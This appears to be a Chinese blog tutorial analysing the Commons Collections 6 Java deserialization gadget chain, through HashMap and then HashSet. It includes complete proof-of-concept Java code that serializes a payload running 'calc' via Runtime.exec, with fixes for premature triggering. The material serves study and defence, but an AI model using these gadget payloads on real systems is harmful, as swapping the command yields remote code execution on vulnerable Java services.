CommonCollections6利用链分析

GTL-JU Lv3

一、前言

cc6有点像我们前面分析的cc1和urldns利用链的结合,cc6的前半部分是urldns,后半部分是cc1。所以分析完cc1和urldns这条链还是相对简单一点的。

我们前面在分析cc1的时候环境jdk版本要低于8u71,当jdk版本高于8u71之后AnnotationInvocationHandler类的readObject()方法逻辑就发生了改变,不能够再利用,而cc6就是一个可以在高版本利用的cc链。

二、cc6利用链分析

我们先看一下cc6的利用链:

1
2
3
4
5
6
7
8
9
10
 java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

我们可以看到这条链的从漏洞点到LazyMap的get函数和我们cc1的后半部分是一样的。只不过在cc1中我们是通过AnnotationInvocationHandler类中的invoke方法去调用LazyMap类中的get方法,然后在通过动态代理最终实现了整条攻击链的利用。

但是我们前面也说了在jdk版本8u71之后AnnotationInvocationHandler类的readObject()方法逻辑就发生了改变,所以这条攻击链就不能在利用了。

1
2
3
4
5
6
7
8
9
10
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
}

这就是我们cc1的后半部分利用链,那我们在cc6这里可以直接利用

cc1的回顾

这里回顾一下cc1,对cc6的后半部分利用链做一个简单的分析

image-20230726103246711

我们前面在cc1中讲过,漏洞的利用点就是这个InvokerTransformer类中的transform方法,这里的transform方法可以通过类似与反射的方式获取方法并执行。

我们在cc1中通过invokerTransform获取到exec方法执行我们的命令还有获取Runtime对象

1
2
3
4
5
Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class,},new Object[]{null,null}).transform(getRuntimeMethod);

new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

分析这个代码我们可以知道这就是transform的循环调用,为了避免传参时要把这几个类都要传进去,我们这里使用了ChainedTransformer()类来简化这个过程

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

然后后面就是找哪里调用了transform方法

在我们前面的分析中,我们用的是Lazymap中的get方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

到这里为止是cc6和cc1相同的部分,我们这里不具体分析,只是做一个简单的回顾和概述。

cc6的分析

我们这里正式开始对cc6的分析

由于后半部分和cc1是一样的,我们这里直接从Lazymap的get方法开始分析

在get方法里面是factory调用了transform方法

那我们这里想要利用就要先看一下factory是否可控

1
2
3
4
5
6
7
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

我们可以看到在LazyMap的构造方法中,接收了factory参数,但是这个构造方法是一个受保护的方法,我们不能直接调用

继续向上找看有没有可以利用的方法

image-20230726110202757

存在一个静态方法decorate,接收两个参数一个map对象和一个factory,并返回一个LazyMap对象

那我们可以通过调用decorate方法控制factoy的值

这里可以发现其实和我们cc1中的也是一样的

根据上面的分析我们可以构造paylaod:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
}

同样的要想利用链能够走下去,我们最终要找到readobject方法

我们这里要先找一下哪里调用了get方法

image-20230726113524854

我们这里利用的是TiedMapEntry类中的getvalue方法

跟进到getvalue方法

1
2
3
public Object getValue() {
return map.get(key);
}

而且map是可控的

1
2
3
4
5
6
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

hashmap(方法一)

然后我们可以在hashcode中找到对getvalue的调用

1
2
3
4
5
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

那我们可以继续构造我们的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "ceshi");
}

这里我们通过hashcode可以触发getvalue进行触发get方法

那么我们后面就是继续找哪里调用了hashcode

关于hashcode我们在urldns中是通过hashmap反序列化时候其readObject()函数会循环每一个键值对放入到HashMap中,而在放入每一个键值对的时候会计算hash(key)值,从而触发key.hashCode()方法,我们在cc6同样可以继续使用这个利用链,进而触发我们后面的漏洞方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
///******中间代码省略
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

可以看到在反序列化时会遍历每一个键值对,将其放入到hashmap中,但是这个过程每次都会调用到hash(key)方法,我们跟进到hash方法:

image-20230726151141806

hash方法会对传进来的key值进行判断是否为空,我们只许让key值不为空我们就能触发到hashcode方法

然后我们这里可以看到触发hashcode的时key值

那么我们只需要让传进来的key值为我们前面构造的TiedMapEntry对象就可以触发到TiedMapEntry类里面的hashcode方法,那我们整条链子就可以连起来了。

那么根据我们上面的分析我们可以构造出来我们的利用链POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "ccz");
Map<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"cc");
}

但是现在出现了一个问题,我们现在这里并没有进行反序列化但是这条链子就已经会弹出来计算器了。

image-20230726152001706

出现的这个问题的原因和我们在分析urldns时触发了两次dns解析的原因是一样的:

我们在使用hash.put输入键值对时就会触发一次hash方法,我们这里可以跟进put方法看一下:

image-20230726152332245

在我们调用put方法的时候也会调用hash方法进而触发了我们后面的利用链:

当然解决这个问题的方法也很简单:

1
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

我们只用将这里的我们构造的chainTransformer对象先替换掉,让利用链到Lazymap的get方法时先断开,避免在使用put方法时触发利用链。

修改POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "ccz");
Map<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"cc");
}

我们这里使用的还是这个ConstantTransformer方法,这个方法我们在cc1解决setvlaue值不可控的时候用过,我们通过这个方法使得无论接收什么,都会将我们构造的虚拟机对象返回。

我们这里同样使用这个方法,当然这个地方其他方法也可以,我们最终的目的只是让利用链断开,无法执行到我们后面的transform方法。

但是我们后期还是要执行这个利用链,所以我们后面在执行完hashmap.put之后要将我们构造的chainTransformer对象重新传进去,使整个利用链能够到transform方法执行命令。

我们这里可以通过反射机制通过获取和设置类的私有字段来修改LazyMap对象的factory字段,为我们构造的chainTransformer对象即可。

1
2
3
4
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

那么整体的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "ccz");
Map<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"cc");
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
}
}

但是我们这里运行之后发现并没有执行我们调用计算器程序的命令。

我们在hashMap.put(tiedMapEntry,"cc");打上断点进行调试:

image-20230726154314171

步入,跟进:

image-20230726154503873

当我们跟进到LazyMap的get方法时可以看到这里:

这里的containsKey(key)会检测key是否存在map中,这里的map也就是我们上面定义的hashmap对象map

1
2
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

然后这里我们上面是没有往里面放任何数据的所以这里会返回false

进而触发了第一次

1
factory.transform(key);

但是这里的map.put(key, value);会将key值添加到map中

那么现在就出现一个个问题在我们进行反序列化时利用链走到这个if判断时,由于map中存在这个key值,导致map.containsKey(key)返回值为true,导致无法触发到factory.transform(key);方法,进而无法执行到后面的利用链进行命令执行。

这也就是我们刚才反序列化为什么不能够执行调用计算器程序命令的原因,我们的利用链走到这个get方法就断掉了,导致后续利用无法进行。

那么解决这个问题的方法也很简单,既然存在了这个key值,导致map.containsKey(key)返回值为true,那我们这里把这个key值删掉就行了,使其返回值为false进行触发到factory.transform(key);

我们这里直接使用remove就可以删除了。

1
lazyMap.remove("ceshi");

最终POC

那么根据我们上面的分析我们可以构造出最终的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "ceshi");
Map<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"cc");
lazyMap.remove("ceshi");
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
}
}

运行看一下结果:

image-20230726162609492

触发成功。

hashSet(方法二)

在上面我们我们分析了,hashmap的put方法在调用时也会调用hashcode方法进而调用后续执行链,我们在前面是通过修改传入的chainTransform对象,使执行链断开,使在调用put方法时无法执行后续执行链。

那我们是否可以利用这个put方法,将其纳入到利用链里面。

我们这里可以找一下put方法的调用:

我们发现HashSet.readObject()中call 到了put()方法

1
2
3
4
5
6
7
8
9
10
11
    private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
////*/**********中间代码省略

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

我们只需要让或者map的值是我们的hashmap对象就行了,我们就可以通过这个hashSet调用后续执行链。

image-20230726165235137

可以看到这个readObject中会自动创建一个map,然后这里会判断始HashSet对象是不是LinkedHashSet的实例,是的话会创建一个一个新的LinkedHashMap对象,不是的话就会创造一个hashmap对象。

那我们只用改变生成的hashmap对象的key值为我们要传入的TiedMapEntry对象,后面再调用map.put的时候就可以触发后续执行链。

1
map.put(e, PRESENT);

所以我们就是要让这里的e变成我们创建的TiedMapEntry对象。

那我们这里可以看一下HashSet.writeObject

image-20230726165940060

这里的e就是map中的key值,复制给e然后进行序列化,那么也就是说如果我们变量map中存在值,这里就会将其序列化,那么我们只要将我们构造的TiedMapEntry对象传入到这个map中,再反序列化调用put时就可以触发后续利用链。

image-20230726170902125

再hashSet方法中会向map中添加一个key

那我们这里直接通过add方法将我们的TiedMapEntry对象传入进去,进而触发后续利用链。

1
2
HashSet hashSet=new HashSet();
hashSet.add(tiedMapEntry);

最终POC:

那么根据上面的分析我们的poc就可以修改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "ceshi");
HashSet hashSet=new HashSet();
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
lazyMap.remove("ceshi");
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

serialize(hashSet);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
}
}

运行测试:

image-20230726171407225

触发成功。

利用链:

1
2
3
4
5
6
7
8
9
HashSet.readObject
HashMap.put
HashMap.hash
TiedMapEntry.hashCode
TiedMapEntry.getValue
LazyMap.get
ChainedTransformer.transform
InvokerTransformer.transform
Runtime.exec

三、总结

cc6利用链流程图

image-20230726172720852

结合urldns和cc1的一个整体流程图:

image-20230726173711097

  • 标题: CommonCollections6利用链分析
  • 作者: GTL-JU
  • 创建于: 2023-07-26 17:38:24
  • 更新于: 2023-07-26 17:41:32
  • 链接: https://gtl-ju.github.io/2023/07/26/cc6利用链分析/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。